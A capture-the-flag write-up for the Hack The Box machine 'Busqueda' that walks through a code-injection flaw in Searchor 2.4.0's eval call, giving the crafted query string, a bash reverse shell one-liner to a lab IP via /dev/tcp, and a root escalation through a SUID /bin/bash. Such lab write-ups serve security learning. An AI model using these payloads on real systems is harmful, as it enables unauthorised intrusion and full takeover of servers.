HTB: Busqueda
Easy HTB machine with a RCE in searchor 2.4.0, after foothold privilege escalation via SUID.
Enumeration
Nmap port scan
port 22, and 80 are open.
As shown in the nmap results, I add searcher.htb
to my /etc/hosts
file.
10.10.11.208 searcher.htb
searcher.htb
The website shows the following:
You can select an engine, for example Google and then insert a query, and it will show you the corresponding link. If you check the textbox auto redirect
it will immediately redirect you to the page.
In the footer it shows that it runs Flask
and Searchor 2.4.0
A quick google brings me to the Snyk page that describes the following:
Affected versions of this package are vulnerable to Arbitrary Code Execution due to unsafe implementation of eval method.
The Snyk page also shows the github commit where the vulnerability is fixed. Let’s inspect the code.
Vulnerable python code
@click.argument("query")
def search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
Here the vulnerable eval
shows itself, since the what do you want to search for
textbox on the webpage, will be inserted as query
here.
This blog post shows the significant dangers of eval.
I want to be able to run my own code (reverse shell) and gain a foothold. In order to do that I need to analyze the code better, and to do that I installed the vulnerable version (2.4.0) of searcher https://pypi.org/project/searchor/#history.
I then created this small example script to be able to test how I can run my own commands.
from searchor import Engine
def search(engine, query, open, copy):
try:
print(f"query: {query}")
text = f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
print(f"text: {text}")
print(f"eval: {eval(text)}")
except Exception as e:
print(e)
if __name__ == "__main__":
evil_query = "dog pictures"
search("Google", evil_query, False, False)
This gives the following output
query: dog pictures
text: Engine.Google.search('dog pictures', copy_url=False, open_web=False)
eval: https://www.google.com/search?q=dog%20pictures
Now in order to escape the eval text, I use the following evil_query
evil_query = "'),__import__('os').system('whoami')#"
This results in the following output:
query: '),__import__('os').system('whoami')#
text: Engine.Google.search(''),__import__('os').system('whoami')#', copy_url=False, open_web=False)
root
eval: ('https://www.google.com/search?q=', 0)
As you can see it succesfully printed root
according to the whoami
.
Now I can change the whoami
with the a bash reverse shell.
'),__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.196/4242 0>&1"')#
I start my nc
listener on port 4242
I then run the crafted command in the what do you want to search for
on the website to succesfully get a shell as svc
.
User flag
Privilege escalation
Linpeas shows the SUID bit is set for /bin/bash
.
To get root I can just run bash -p
to get a root shell.
Bash manual for -p
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not sup‐
plied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and
GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If
the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.